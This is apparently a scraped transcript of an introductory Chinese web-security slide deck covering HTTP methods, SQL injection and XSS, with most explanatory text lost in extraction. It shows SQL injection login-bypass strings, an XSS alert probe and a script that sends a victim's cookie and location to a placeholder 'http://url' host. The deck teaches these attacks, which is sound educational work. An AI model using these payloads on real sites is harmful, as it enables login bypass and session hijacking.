Web sec-淺談

57
Web Sec Intro jyny @ NCHUIT

Transcript of Web sec-淺談

Page 1: Web sec-淺談

Web Sec Introjyny @ NCHUIT

Page 2: Web sec-淺談

( )

Page 3: Web sec-淺談

Web Sec ( XD)

Page 4: Web sec-淺談

:)hello world :)

Page 5: Web sec-淺談

About• jyny

• TDOH

• jyny.tw

• about.me/jyny

Page 6: Web sec-淺談

• HTTP Method

• SQL Injection

• XSS

Page 7: Web sec-淺談
Page 8: Web sec-淺談

HTTP Method( )

Page 9: Web sec-淺談

HTTP Method• GET

• POST

• etc.

Page 10: Web sec-淺談

HTTP Method• GET

• HTTP Request

• Enter

Page 11: Web sec-淺談

HTTP Method• POST

• " "," "

Page 12: Web sec-淺談

m(_ _)m

Page 13: Web sec-淺談

what??

Page 14: Web sec-淺談

?=

Page 15: Web sec-淺談

GET POST• key value

• url.com?key=value

• &

• % Url encode

Page 16: Web sec-淺談

HTTP Method•

• or

• g0t.pw/http.php

Page 17: Web sec-淺談
Page 18: Web sec-淺談

SQL Injection

Page 19: Web sec-淺談

SQL Injection• SQL

• SQL

• OWASP Top 10

Page 20: Web sec-淺談

SQL Injection• GET POST DB

• server

• Server SQL

Page 21: Web sec-淺談

....

Page 22: Web sec-淺談

SQL Injection• PHP query

Page 23: Web sec-淺談

SQL Injection•

• username = jyny

• password = pwd

Page 24: Web sec-淺談

SQL Injection• SQL query

Page 25: Web sec-淺談

Orz

Page 26: Web sec-淺談

But

Page 27: Web sec-淺談

SQL Injection•

• username = 1' OR uid='1'/*

• password = */ OR password='

Page 28: Web sec-淺談
Page 29: Web sec-淺談

SQL Injection• SQL query

Page 30: Web sec-淺談

SQL Injection• SQL query

• query

Page 31: Web sec-淺談

....

Page 32: Web sec-淺談

SQL Injection

Page 33: Web sec-淺談

SQL Injection•

• user=%27%20or%20%27%27%20%3D%20%27%27%20--&pass=aaaaaaa

• URL encoding

• %27 %20 %3d

Page 34: Web sec-淺談

SQL Injection•

Page 35: Web sec-淺談

SQL Injection•

Page 36: Web sec-淺談

XD

Page 37: Web sec-淺談

SQL Injection•

Page 38: Web sec-淺談

SQL Injection• SQL

Page 39: Web sec-淺談

SQL Injection• SQL Injection

• sqlmap

Page 40: Web sec-淺談
Page 41: Web sec-淺談

XSS

Page 42: Web sec-淺談

XSS• Cross-site scripting

• OWASP Top 10

Page 43: Web sec-淺談

XSS•

<script>...</script>

• WOW!

Page 44: Web sec-淺談

XSS• Server

Page 45: Web sec-淺談

XSS•

• XD

Page 46: Web sec-淺談

XSS•

• g0t.pw/xhttp.php?%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

• Orz

Page 47: Web sec-淺談

XSS•

• <script> document.write('<img src="http://url?cookie=' + document.cookie + '&location=' + document.location + '" />'); </script>

Page 48: Web sec-淺談

XSS• ?

• request

• cookie

• Cookie

Page 49: Web sec-淺談

Cookie

Page 50: Web sec-淺談

XSS• Cookie

• Session

Page 51: Web sec-淺談
Page 52: Web sec-淺談

upload•

• %00

Page 53: Web sec-淺談

• code injection

• comment injection

Page 54: Web sec-淺談

Orz

Page 55: Web sec-淺談

Page 56: Web sec-淺談

Reference• http://www.slideshare.net/chivincent/sql-injection-

in-ttu

• https://gist.github.com/Inndy/654aaf98cb260b75b8f3

• https://github.com/Jyny/pasc2at

• https://securityreactions.tumblr.com/

Page 57: Web sec-淺談

THX